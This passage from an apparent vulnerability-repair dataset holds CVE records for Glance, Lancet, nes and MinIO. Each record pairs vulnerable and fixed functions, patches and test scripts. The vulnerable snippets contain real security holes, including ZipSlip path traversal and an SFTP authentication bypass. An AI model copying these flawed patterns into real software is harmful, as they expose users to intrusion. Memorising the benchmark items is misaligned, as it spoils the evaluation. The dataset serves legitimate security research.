'queued', during\n           upload it will be in the 'saving' status, and then 'killed' or\n           'active' depending on whether the upload completed successfully.\n\n        2. If the image data exists somewhere else, you can upload indirectly\n           from the external source using the x-glance-api-copy-from header.\n           Once the image is uploaded, the external store is not subsequently\n           consulted, i.e. the image content is served out from the configured\n           glance image store.  State transitions are as for option #1.\n\n        3. If the image data exists somewhere else, you can reference the\n           source using the x-image-meta-location header. The image content\n           will be served out from the external store, i.e. is never uploaded\n           to the configured glance image store.\n\n        4. If the image data is not available yet, but you'd like reserve a\n           spot for it, you can omit the data and a record will be created in\n           the 'queued' state. This exists primarily to maintain backwards\n           compatibility with OpenStack/Rackspace API semantics.\n\n        The request body *must* be encoded as application/octet-stream,\n        otherwise an HTTPBadRequest is returned.\n\n        Upon a successful save of the image data and metadata, a response\n        containing metadata about the image is returned, including its\n        opaque identifier.\n\n        :param req: The WSGI/Webob Request object\n        :param image_meta: Mapping of metadata about image\n        :param image_data: Actual image data that is to be stored\n\n        :raises HTTPBadRequest if x-image-meta-location is missing\n                and the request body is not application/octet-stream\n                image data.\n        \"\"\"\n        self._enforce(req, 'add_image')\n        is_public = image_meta.get('is_public')\n        if is_public:\n            self._enforce(req, 'publicize_image')\n        if Controller._copy_from(req):\n            self._enforce(req, 'copy_from')\n\n        image_meta = self._reserve(req, image_meta)\n        id = image_meta['id']\n\n        image_meta = self._handle_source(req, id, image_meta, image_data)\n\n        location_uri = image_meta.get('location')\n        if location_uri:\n            self.update_store_acls(req, id, location_uri, public=is_public)\n\n        # Prevent client from learning the location, as it\n        # could contain security credentials\n        image_meta.pop('location', None)\n\n        return {'image_meta': image_meta}"}], "vul_patch": "--- a/glance/api/v1/images.py\n+++ b/glance/api/v1/images.py\n@@ -44,6 +44,8 @@\n         is_public = image_meta.get('is_public')\n         if is_public:\n             self._enforce(req, 'publicize_image')\n+        if Controller._copy_from(req):\n+            self._enforce(req, 'copy_from')\n \n         image_meta = self._reserve(req, image_meta)\n         id = image_meta['id']\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-41920", "cve_description": "Lancet is a general utility library for the go programming language. Affected versions are subject to a ZipSlip issue when using the fileutil package to unzip files. This issue has been addressed and a fix will be included in versions 2.1.10 and 1.3.4. Users are advised to upgrade. There are no known workarounds for this issue.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/duke-git/lancet", "patch_url": ["https://github.com/duke-git/lancet/commit/f869a0a67098e92d24ddd913e188b32404fa72c9", "https://github.com/duke-git/lancet/commit/f133b32faa05eb93e66175d01827afa4b7094572"], "programing_language": "Go", "vul_func": [{"id": "vul_go_226_1", "commit": "be000a4", "file_path": "fileutil/file.go", "start_line": "216", "end_line": "259", "snippet": "func UnZip(zipFile string, destPath string) error {\n\tdestPath = filepath.Clean(destPath) + string(os.PathSeparator)\n\n\tzipReader, err := zip.OpenReader(zipFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer zipReader.Close()\n\n\tfor _, f := range zipReader.File {\n\t\tpath := filepath.Join(destPath, f.Name)\n\n\t\t//issue#62: fix ZipSlip bug\n\t\tif !strings.HasPrefix(path, destPath) {\n\t\t\treturn fmt.Errorf(\"%s: illegal file path\", path)\n\t\t}\n\n\t\tif f.FileInfo().IsDir() {\n\t\t\tos.MkdirAll(path, os.ModePerm)\n\t\t} else {\n\t\t\tif err = os.MkdirAll(filepath.Dir(path), os.ModePerm); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tinFile, err := f.Open()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer inFile.Close()\n\n\t\t\toutFile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer outFile.Close()\n\n\t\t\t_, err = io.Copy(outFile, inFile)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_226_1", "commit": "f869a0a", "file_path": "fileutil/file.go", "start_line": "216", "end_line": "259", "snippet": "func UnZip(zipFile string, destPath string) error {\n\n\tzipReader, err := zip.OpenReader(zipFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer zipReader.Close()\n\n\tfor _, f := range zipReader.File {\n\t\tpath := filepath.Join(destPath, f.Name)\n\n\t\t//issue#62: fix ZipSlip bug\n\t\tpath, err := safeFilepathJoin(destPath, f.Name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif f.FileInfo().IsDir() {\n\t\t\tos.MkdirAll(path, os.ModePerm)\n\t\t} else {\n\t\t\tif err = os.MkdirAll(filepath.Dir(path), os.ModePerm); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tinFile, err := f.Open()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer inFile.Close()\n\n\t\t\toutFile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer outFile.Close()\n\n\t\t\t_, err = io.Copy(outFile, inFile)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}"}, {"id": "fix_go_226_2", "commit": "f869a0a", "file_path": "fileutil/file.go", "start_line": "261", "end_line": "270", "snippet": "func safeFilepathJoin(path1, path2 string) (string, error) {\n\trelPath, err := filepath.Rel(\".\", path2)\n\tif err != nil || strings.HasPrefix(relPath, \"..\") {\n\t\treturn \"\", fmt.Errorf(\"(zipslip) filepath is unsafe %q: %v\", path2, err)\n\t}\n\tif path1 == \"\" {\n\t\tpath1 = \".\"\n\t}\n\treturn filepath.Join(path1, filepath.Join(\"/\", relPath)), nil\n}"}], "vul_patch": "--- a/fileutil/file.go\n+++ b/fileutil/file.go\n@@ -1,5 +1,4 @@\n func UnZip(zipFile string, destPath string) error {\n-\tdestPath = filepath.Clean(destPath) + string(os.PathSeparator)\n \n \tzipReader, err := zip.OpenReader(zipFile)\n \tif err != nil {\n@@ -11,8 +10,9 @@\n \t\tpath := filepath.Join(destPath, f.Name)\n \n \t\t//issue#62: fix ZipSlip bug\n-\t\tif !strings.HasPrefix(path, destPath) {\n-\t\t\treturn fmt.Errorf(\"%s: illegal file path\", path)\n+\t\tpath, err := safeFilepathJoin(destPath, f.Name)\n+\t\tif err != nil {\n+\t\t\treturn err\n \t\t}\n \n \t\tif f.FileInfo().IsDir() {\n\n--- /dev/null\n+++ b/fileutil/file.go\n@@ -0,0 +1,10 @@\n+func safeFilepathJoin(path1, path2 string) (string, error) {\n+\trelPath, err := filepath.Rel(\".\", path2)\n+\tif err != nil || strings.HasPrefix(relPath, \"..\") {\n+\t\treturn \"\", fmt.Errorf(\"(zipslip) filepath is unsafe %q: %v\", path2, err)\n+\t}\n+\tif path1 == \"\" {\n+\t\tpath1 = \".\"\n+\t}\n+\treturn filepath.Join(path1, filepath.Join(\"/\", relPath)), nil\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-16025", "cve_description": "Nes is a websocket extension library for hapi. Hapi is a webserver framework. Versions below and including 6.4.0 have a denial of service vulnerability via an invalid Cookie header. This is only present when websocket authentication is set to `cookie`. Submitting an invalid cookie on the websocket upgrade request will cause the node process to error out.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/hapijs/nes", "patch_url": ["https://github.com/hapijs/nes/commit/249ba1755ed6977fbc208463c87364bf884ad655"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_59_1", "commit": "71e9232", "file_path": "lib/socket.js", "start_line": 524, "end_line": 547, "snippet": "internals.Socket.prototype._authenticate = function () {\n\n    const config = this._listener._settings.auth;\n    if (!config) {\n        return;\n    }\n\n    if (config.timeout) {\n        this.auth._timeout = setTimeout(() => this.disconnect(), config.timeout);\n    }\n\n    const cookies = this._ws.upgradeReq.headers.cookie;\n    if (!cookies) {\n        return;\n    }\n\n    this._listener._connection.states.parse(cookies, (ignoreErr, state, failed) => {\n\n        const auth = state[config.cookie];\n        if (auth) {\n            this.auth._error = this._setCredentials(auth.credentials, auth.artifacts);\n        }\n    });\n};"}], "fix_func": [{"id": "fix_js_59_1", "commit": "249ba1755ed6977fbc208463c87364bf884ad655", "file_path": "lib/socket.js", "start_line": 524, "end_line": 562, "snippet": "internals.Socket.prototype._authenticate = function () {\n\n    const config = this._listener._settings.auth;\n    if (!config) {\n        return;\n    }\n\n    if (config.timeout) {\n        this.auth._timeout = setTimeout(() => this.disconnect(), config.timeout);\n    }\n\n    const cookies = this._ws.upgradeReq.headers.cookie;\n    if (!cookies) {\n        return;\n    }\n\n    this._listener._connection.states.parse(cookies, (err, state, failed) => {\n\n        if (err) {\n            this.auth._error = Boom.unauthorized('Invalid nes authentication cookie');\n            return;\n        }\n\n        const auth = state[config.cookie];\n        if (auth) {\n            this.auth._error = this._setCredentials(auth.credentials, auth.artifacts);\n        }\n    });\n};\n\n\ninternals.Socket.prototype._setCredentials = function (credentials, artifacts) {\n\n    this.auth.isAuthenticated = true;\n    this.auth.credentials = credentials;\n    this.auth.artifacts = artifacts;\n\n    return this._listener._sockets.auth(this);\n};"}], "vul_patch": "--- a/lib/socket.js\n+++ b/lib/socket.js\n@@ -14,7 +14,12 @@\n         return;\n     }\n \n-    this._listener._connection.states.parse(cookies, (ignoreErr, state, failed) => {\n+    this._listener._connection.states.parse(cookies, (err, state, failed) => {\n+\n+        if (err) {\n+            this.auth._error = Boom.unauthorized('Invalid nes authentication cookie');\n+            return;\n+        }\n \n         const auth = state[config.cookie];\n         if (auth) {\n@@ -22,3 +27,13 @@\n         }\n     });\n };\n+\n+\n+internals.Socket.prototype._setCredentials = function (credentials, artifacts) {\n+\n+    this.auth.isAuthenticated = true;\n+    this.auth.credentials = credentials;\n+    this.auth.artifacts = artifacts;\n+\n+    return this._listener._sockets.auth(this);\n+};\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-16025:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/nes\n\nGLOBAL_EXCLUDE=\"AggregateError,Atomics,BigUint64Array,BigInt64Array,BigInt,FinalizationRegistry,WeakRef,URL,URLSearchParams,DOMException,AbortController,AbortSignal,Event,EventTarget,TextEncoder,TextDecoder,TransformStream,TransformStreamDefaultController,WritableStream,WritableStreamDefaultController,WritableStreamDefaultWriter,ReadableStream,ReadableStreamDefaultReader,ReadableStreamBYOBReader,ReadableStreamBYOBRequest,ReadableByteStreamController,ReadableStreamDefaultController,ByteLengthQueuingStrategy,CountQueuingStrategy,TextEncoderStream,TextDecoderStream,CompressionStream,DecompressionStream,queueMicrotask,structuredClone,atob,btoa,BroadcastChannel,MessageChannel,MessagePort,Blob,File,Performance,PerformanceEntry,PerformanceMark,PerformanceMeasure,PerformanceObserver,PerformanceObserverEntryList,PerformanceResourceTiming,performance,fetch,FormData,Headers,Request,Response,MessageEvent,WebSocket,Iterator,SharedArrayBuffer,Navigator,navigator,crypto,CryptoKey,SubtleCrypto,CustomEvent,Crypto\"\n\nexport NODE_NO_WARNINGS=1\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode node_modules/lab/bin/lab \\\n    -a code \\\n    --globals $GLOBAL_EXCLUDE \\\n    -g \"errors on invalid cookie\" \\\n    test/auth.js\n\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-16025:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/nes\n\nGLOBAL_EXCLUDE=\"AggregateError,Atomics,BigUint64Array,BigInt64Array,BigInt,FinalizationRegistry,WeakRef,URL,URLSearchParams,DOMException,AbortController,AbortSignal,Event,EventTarget,TextEncoder,TextDecoder,TransformStream,TransformStreamDefaultController,WritableStream,WritableStreamDefaultController,WritableStreamDefaultWriter,ReadableStream,ReadableStreamDefaultReader,ReadableStreamBYOBReader,ReadableStreamBYOBRequest,ReadableByteStreamController,ReadableStreamDefaultController,ByteLengthQueuingStrategy,CountQueuingStrategy,TextEncoderStream,TextDecoderStream,CompressionStream,DecompressionStream,queueMicrotask,structuredClone,atob,btoa,BroadcastChannel,MessageChannel,MessagePort,Blob,File,Performance,PerformanceEntry,PerformanceMark,PerformanceMeasure,PerformanceObserver,PerformanceObserverEntryList,PerformanceResourceTiming,performance,fetch,FormData,Headers,Request,Response,MessageEvent,WebSocket,Iterator,SharedArrayBuffer,Navigator,navigator,crypto,CryptoKey,SubtleCrypto,CustomEvent,Crypto\"\n\nexport NODE_NO_WARNINGS=1\n\nnode node_modules/lab/bin/lab \\\n    -a code \\\n    --globals $GLOBAL_EXCLUDE \\\n    test/index.js test/auth.js test/listener.js test/socket.js\n\n"}
{"cve_id": "CVE-2025-27414", "cve_description": "MinIO is a high performance object storage. Starting in RELEASE.2024-06-06T09-36-42Z and prior to \nRELEASE.2025-02-28T09-55-16Z, a bug in evaluating the trust of the SSH key used in an SFTP connection to MinIO allows authentication bypass and unauthorized data access. On a MinIO server with SFTP access configured and using LDAP as an external identity provider, MinIO supports SSH key based authentication for SFTP connections when the user has the `sshPublicKey` attribute set in their LDAP server. The server trusts the client's key only when the public key is the same as the `sshPublicKey` attribute. Due to the bug, when the user has no `sshPublicKey` property in LDAP, the server ends up trusting the key allowing the client to perform any FTP operations allowed by the MinIO access policies associated with the LDAP user (or any of their groups). Three requirements must be met in order to exploit the vulnerability. First, the MinIO server must be configured to allow SFTP access and use LDAP as an external identity provider. Second, the attacker must have knowledge of an LDAP username that does not have the `sshPublicKey` property set. Third, such an LDAP username or one of their groups must also have some MinIO access policy configured. When this bug is successfully exploited, the attacker can perform any FTP operations (i.e. reading, writing, deleting and listing objects) allowed by the access policy associated with the LDAP user account (and their groups). Version 1.2.0 fixes the issue.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/minio/minio", "patch_url": ["https://github.com/minio/minio/commit/4c71f1b4ec0fb2a473ddaac18c20ec9e63f267ec"], "programing_language": "Go", "vul_func": [{"id": "vul_go_239_1", "commit": "6cd8a37", "file_path": "cmd/sftp-server.go", "start_line": 65, "end_line": 65, "snippet": "var caPublicKey ssh.PublicKey"}, {"id": "vul_go_239_2", "commit": "6cd8a37", "file_path": "cmd/sftp-server.go", "start_line": 137, "end_line": 191, "snippet": "func authenticateSSHConnection(c ssh.ConnMetadata, key ssh.PublicKey, pass []byte) (*ssh.Permissions, error) {\n\tuser, found := strings.CutSuffix(c.User(), \"=ldap\")\n\tif found {\n\t\tif !globalIAMSys.LDAPConfig.Enabled() {\n\t\t\treturn nil, errSFTPLDAPNotEnabled\n\t\t}\n\t\treturn processLDAPAuthentication(key, pass, user)\n\t}\n\n\tuser, found = strings.CutSuffix(c.User(), \"=svc\")\n\tif found {\n\t\tgoto internalAuth\n\t}\n\n\tif globalIAMSys.LDAPConfig.Enabled() {\n\t\tperms, _ := processLDAPAuthentication(key, pass, user)\n\t\tif perms != nil {\n\t\t\treturn perms, nil\n\t\t}\n\t}\n\ninternalAuth:\n\tui, ok := globalIAMSys.GetUser(context.Background(), user)\n\tif !ok {\n\t\treturn nil, errNoSuchUser\n\t}\n\n\tif caPublicKey != nil && pass == nil {\n\t\terr := validateKey(c, key)\n\t\tif err != nil {\n\t\t\treturn nil, errAuthentication\n\t\t}\n\t} else {\n\t\t// Temporary credentials are not allowed.\n\t\tif ui.Credentials.IsTemp() {\n\t\t\treturn nil, errAuthentication\n\t\t}\n\t\tif subtle.ConstantTimeCompare([]byte(ui.Credentials.SecretKey), pass) != 1 {\n\t\t\treturn nil, errAuthentication\n\t\t}\n\t}\n\n\tcopts := map[string]string{\n\t\t\"AccessKey\": ui.Credentials.AccessKey,\n\t\t\"SecretKey\": ui.Credentials.SecretKey,\n\t}\n\tif ui.Credentials.IsTemp() {\n\t\tcopts[\"SessionToken\"] = ui.Credentials.SessionToken\n\t}\n\n\treturn &ssh.Permissions{\n\t\tCriticalOptions: copts,\n\t\tExtensions:      make(map[string]string),\n\t}, nil\n}"}, {"id": "vul_go_239_3", "commit": "6cd8a37", "file_path": "cmd/sftp-server.go", "start_line": 193, "end_line": 311, "snippet": "func processLDAPAuthentication(key ssh.PublicKey, pass []byte, user string) (perms *ssh.Permissions, err error) {\n\tvar lookupResult *xldap.DNSearchResult\n\tvar targetGroups []string\n\n\tif pass == nil && key == nil {\n\t\treturn nil, errAuthentication\n\t}\n\n\tif pass != nil {\n\t\tsa, _, err := globalIAMSys.getServiceAccount(context.Background(), user)\n\t\tif err == nil {\n\t\t\tif subtle.ConstantTimeCompare([]byte(sa.Credentials.SecretKey), pass) != 1 {\n\t\t\t\treturn nil, errAuthentication\n\t\t\t}\n\n\t\t\treturn &ssh.Permissions{\n\t\t\t\tCriticalOptions: map[string]string{\n\t\t\t\t\t\"AccessKey\": sa.Credentials.AccessKey,\n\t\t\t\t\t\"SecretKey\": sa.Credentials.SecretKey,\n\t\t\t\t},\n\t\t\t\tExtensions: make(map[string]string),\n\t\t\t}, nil\n\t\t}\n\n\t\tif !errors.Is(err, errNoSuchServiceAccount) {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tlookupResult, targetGroups, err = globalIAMSys.LDAPConfig.Bind(user, string(pass))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else if key != nil {\n\t\tlookupResult, targetGroups, err = globalIAMSys.LDAPConfig.LookupUserDN(user)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif lookupResult == nil {\n\t\treturn nil, errNoSuchUser\n\t}\n\n\tldapPolicies, _ := globalIAMSys.PolicyDBGet(lookupResult.NormDN, targetGroups...)\n\tif len(ldapPolicies) == 0 {\n\t\treturn nil, errSFTPUserHasNoPolicies\n\t}\n\n\tclaims := make(map[string]interface{})\n\tfor attribKey, attribValue := range lookupResult.Attributes {\n\t\t// we skip multi-value attributes here, as they cannot\n\t\t// be stored in the critical options.\n\t\tif len(attribValue) != 1 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif attribKey == \"sshPublicKey\" && key != nil {\n\t\t\tkey2, _, _, _, err := ssh.ParseAuthorizedKey([]byte(attribValue[0]))\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errSFTPPublicKeyBadFormat\n\t\t\t}\n\n\t\t\tif subtle.ConstantTimeCompare(key2.Marshal(), key.Marshal()) != 1 {\n\t\t\t\treturn nil, errAuthentication\n\t\t\t}\n\t\t}\n\t\tclaims[ldapAttribPrefix+attribKey] = attribValue[0]\n\t}\n\n\texpiryDur, err := globalIAMSys.LDAPConfig.GetExpiryDuration(\"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclaims[expClaim] = UTCNow().Add(expiryDur).Unix()\n\tclaims[ldapUserN] = user\n\tclaims[ldapUser] = lookupResult.NormDN\n\n\tcred, err := auth.GetNewCredentialsWithMetadata(claims, globalActiveCred.SecretKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Set the parent of the temporary access key, this is useful\n\t// in obtaining service accounts by this cred.\n\tcred.ParentUser = lookupResult.NormDN\n\n\t// Set this value to LDAP groups, LDAP user can be part\n\t// of large number of groups\n\tcred.Groups = targetGroups\n\n\t// Set the newly generated credentials, policyName is empty on purpose\n\t// LDAP policies are applied automatically using their ldapUser, ldapGroups\n\t// mapping.\n\tupdatedAt, err := globalIAMSys.SetTempUser(context.Background(), cred.AccessKey, cred, \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treplLogIf(context.Background(), globalSiteReplicationSys.IAMChangeHook(context.Background(), madmin.SRIAMItem{\n\t\tType: madmin.SRIAMItemSTSAcc,\n\t\tSTSCredential: &madmin.SRSTSCredential{\n\t\t\tAccessKey:    cred.AccessKey,\n\t\t\tSecretKey:    cred.SecretKey,\n\t\t\tSessionToken: cred.SessionToken,\n\t\t\tParentUser:   cred.ParentUser,\n\t\t},\n\t\tUpdatedAt: updatedAt,\n\t}))\n\n\treturn &ssh.Permissions{\n\t\tCriticalOptions: map[string]string{\n\t\t\t\"AccessKey\":    cred.AccessKey,\n\t\t\t\"SecretKey\":    cred.SecretKey,\n\t\t\t\"SessionToken\": cred.SessionToken,\n\t\t},\n\t\tExtensions: make(map[string]string),\n\t}, nil\n}"}, {"id": "vul_go_239_4", "commit": "6cd8a37", "file_path": "cmd/sftp-server.go", "start_line": 313, "end_line": 339, "snippet": "func validateKey(c ssh.ConnMetadata, clientKey ssh.PublicKey) (err error) {\n\tif caPublicKey == nil {\n\t\treturn errors.New(\"public key authority validation requested but no ca public key specified.\")\n\t}\n\n\tcert, ok := clientKey.(*ssh.Certificate)\n\tif !ok {\n\t\treturn errSftpPublicKeyWithoutCert\n\t}\n\n\t// ssh.CheckCert called by ssh.Authenticate accepts certificates\n\t// with empty principles list so we block those in here.\n\tif len(cert.ValidPrincipals) == 0 {\n\t\treturn errSftpCertWithoutPrincipals\n\t}\n\n\t// Verify that certificate provided by user is issued by trusted CA,\n\t// username in authentication request matches to identities in certificate\n\t// and that certificate type is correct.\n\tchecker := ssh.CertChecker{}\n\tchecker.IsUserAuthority = func(k ssh.PublicKey) bool {\n\t\treturn subtle.ConstantTimeCompare(caPublicKey.Marshal(), k.Marshal()) == 1\n\t}\n\n\t_, err = checker.Authenticate(c, clientKey)\n\treturn\n}"}, {"id": "vul_go_239_5", "commit": "6cd8a37", "file_path": "cmd/sftp-server.go", "start_line": 385, "end_line": 514, "snippet": "func startSFTPServer(args []string) {\n\tvar (\n\t\tport            int\n\t\tpublicIP        string\n\t\tsshPrivateKey   string\n\t\tuserCaKeyFile   string\n\t\tdisablePassAuth bool\n\t)\n\n\tallowPubKeys := supportedPubKeyAuthAlgos\n\tallowKexAlgos := preferredKexAlgos\n\tallowCiphers := preferredCiphers\n\tallowMACs := supportedMACs\n\tvar err error\n\n\tfor _, arg := range args {\n\t\ttokens := strings.SplitN(arg, \"=\", 2)\n\t\tif len(tokens) != 2 {\n\t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed to --sftp=%s\", arg), \"unable to start SFTP server\")\n\t\t}\n\t\tswitch tokens[0] {\n\t\tcase \"address\":\n\t\t\thost, portStr, err := net.SplitHostPort(tokens[1])\n\t\t\tif err != nil {\n\t\t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed to --sftp=%s (%v)\", arg, err), \"unable to start SFTP server\")\n\t\t\t}\n\t\t\tport, err = strconv.Atoi(portStr)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed to --sftp=%s (%v)\", arg, err), \"unable to start SFTP server\")\n\t\t\t}\n\t\t\tif port < 1 || port > 65535 {\n\t\t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed to --sftp=%s, (port number must be between 1 to 65535)\", arg), \"unable to start SFTP server\")\n\t\t\t}\n\t\t\tpublicIP = host\n\t\tcase \"ssh-private-key\":\n\t\t\tsshPrivateKey = tokens[1]\n\t\tcase \"pub-key-algos\":\n\t\t\tallowPubKeys = filterAlgos(arg, strings.Split(tokens[1], \",\"), supportedPubKeyAuthAlgos)\n\t\tcase \"kex-algos\":\n\t\t\tallowKexAlgos = filterAlgos(arg, strings.Split(tokens[1], \",\"), supportedKexAlgos)\n\t\tcase \"cipher-algos\":\n\t\t\tallowCiphers = filterAlgos(arg, strings.Split(tokens[1], \",\"), supportedCiphers)\n\t\tcase \"mac-algos\":\n\t\t\tallowMACs = filterAlgos(arg, strings.Split(tokens[1], \",\"), supportedMACs)\n\t\tcase \"trusted-user-ca-key\":\n\t\t\tuserCaKeyFile = tokens[1]\n\t\tcase \"password-auth\":\n\t\t\tdisablePassAuth, _ = strconv.ParseBool(tokens[1])\n\t\t}\n\t}\n\n\tif port == 0 {\n\t\tport = 8022 // Default SFTP port, since no port was given.\n\t}\n\n\tif sshPrivateKey == \"\" {\n\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed, private key file is mandatory for --sftp='ssh-private-key=path/to/id_ecdsa'\"), \"unable to start SFTP server\")\n\t}\n\n\tprivateBytes, err := os.ReadFile(sshPrivateKey)\n\tif err != nil {\n\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed, private key file is not accessible: %v\", err), \"unable to start SFTP server\")\n\t}\n\n\tprivate, err := ssh.ParsePrivateKey(privateBytes)\n\tif err != nil {\n\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed, private key file is not parseable: %v\", err), \"unable to start SFTP server\")\n\t}\n\n\tif userCaKeyFile != \"\" {\n\t\tkeyBytes, err := os.ReadFile(userCaKeyFile)\n\t\tif err != nil {\n\t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed, trusted user certificate authority public key file is not accessible: %v\", err), \"unable to start SFTP server\")\n\t\t}\n\n\t\tcaPublicKey, _, _, _, err = ssh.ParseAuthorizedKey(keyBytes)\n\t\tif err != nil {\n\t\t\tlogger.Fatal(fmt.Errorf(\"invalid arguments passed, trusted user certificate authority public key file is not parseable: %v\", err), \"unable to start SFTP server\")\n\t\t}\n\t}\n\n\t// An SSH server is represented by a ServerConfig, which holds\n\t// certificate details and handles authentication of ServerConns.\n\tsshConfig := &ssh.ServerConfig{\n\t\tConfig: ssh.Config{\n\t\t\tKeyExchanges: allowKexAlgos,\n\t\t\tCiphers:      allowCiphers,\n\t\t\tMACs:         allowMACs,\n\t\t},\n\t\tPublicKeyAuthAlgorithms: allowPubKeys,\n\t\tPublicKeyCallback:       sshPubKeyAuth,\n\t}\n\n\tif !disablePassAuth {\n\t\tsshConfig.PasswordCallback = sshPasswordAuth\n\t} else {\n\t\tsshConfig.PasswordCallback = nil\n\t}\n\n\tsshConfig.AddHostKey(private)\n\n\thandleSFTPSession := func(channel ssh.Channel, sconn *ssh.ServerConn) {\n\t\tvar remoteIP string\n\n\t\tif host, _, err := net.SplitHostPort(sconn.RemoteAddr().String()); err == nil {\n\t\t\tremoteIP = host\n\t\t}\n\t\tserver := sftp.NewRequestServer(channel, NewSFTPDriver(sconn.Permissions, remoteIP), sftp.WithRSAllocator())\n\t\tdefer server.Close()\n\t\tserver.Serve()\n\t}\n\n\tsftpServer, err := xsftp.NewServer(&xsftp.Options{\n\t\tPublicIP: publicIP,\n\t\tPort:     port,\n\t\t// OpensSSH default handshake timeout is 2 minutes.\n\t\tSSHHandshakeDeadline: 2 * time.Minute,\n\t\tLogger:               new(sftpLogger),\n\t\tSSHConfig:            sshConfig,\n\t\tHandleSFTPSession:    handleSFTPSession,\n\t})\n\tif err != nil {\n\t\tlogger.Fatal(err, \"Unable to start SFTP Server\")\n\t}\n\n\terr = sftpServer.Listen()\n\tif err != nil {\n\t\tlogger.Fatal(err, \"SFTP Server had an unrecoverable error while accepting connections\")\n\t}\n}"}], "fix_func": [{"id": "fix_go_239_1", "commit": "4c71f1b4ec0fb2a473ddaac18c20ec9e63f267ec", "file_path": "cmd/sftp-server.go", "start_line": 65, "end_line": 65, "snippet": "var globalSFTPTrustedCAPubkey ssh.PublicKey"}, {"id": "fix_go_239_2", "commit": "4c71f1b4ec0fb2a473ddaac18c20ec9e63f267ec", "file_path": "cmd/sftp-server.go", "start_line": 137, "end_line": 191, "snippet": "func authenticateSSHConnection(c ssh.ConnMetadata, key ssh.PublicKey, pass []byte) (*ssh.Permissions, error) {\n\tuser, found := strings.CutSuffix(c.User(), \"=ldap\")\n\tif found {\n\t\tif !globalIAMSys.LDAPConfig.Enabled() {\n\t\t\treturn nil, errSFTPLDAPNotEnabled\n\t\t}\n\t\treturn processLDAPAuthentication(key, pass, user)\n\t}\n\n\tuser, found = strings.CutSuffix(c.User(), \"=svc\")\n\tif found {\n\t\tgoto internalAuth\n\t}\n\n\tif globalIAMSys.LDAPConfig.Enabled() {\n\t\tperms, _ := processLDAPAuthentication(key, pass, user)\n\t\tif perms != nil {\n\t\t\treturn perms, nil\n\t\t}\n\t}\n\ninternalAuth:\n\tui, ok := globalIAMSys.GetUser(context.Background(), user)\n\tif !ok {\n\t\treturn nil, errNoSuchUser\n\t}\n\n\tif globalSFTPTrustedCAPubkey != nil && pass == nil {\n\t\terr := validateClientKeyIsTrusted(c, key)\n\t\tif err != nil {\n\t\t\treturn nil, errAuthentication\n\t\t}\n\t} else {\n\t\t// Temporary credentials are not allowed.\n\t\tif ui.Credentials.IsTemp() {\n\t\t\treturn nil, errAuthentication\n\t\t}\n\t\tif subtle.ConstantTimeCompare([]byte(ui.Credentials.SecretKey), pass) != 1 {\n\t\t\treturn nil, errAuthentication\n\t\t}\n\t}\n\n\tcopts := map[string]string{\n\t\t\"AccessKey\": ui.Credentials.AccessKey,\n\t\t\"SecretKey\": ui.Credentials.SecretKey,\n\t}\n\tif ui.Credentials.IsTemp() {\n\t\tcopts[\"SessionToken\"] = ui.Credentials.SessionToken\n\t}\n\n\treturn &ssh.Permissions{\n\t\tCriticalOptions: copts,\n\t\tExtensions:      make(map[string]string),\n\t}, nil\n}"}, {"id": "fix_go_239_3", "commit": 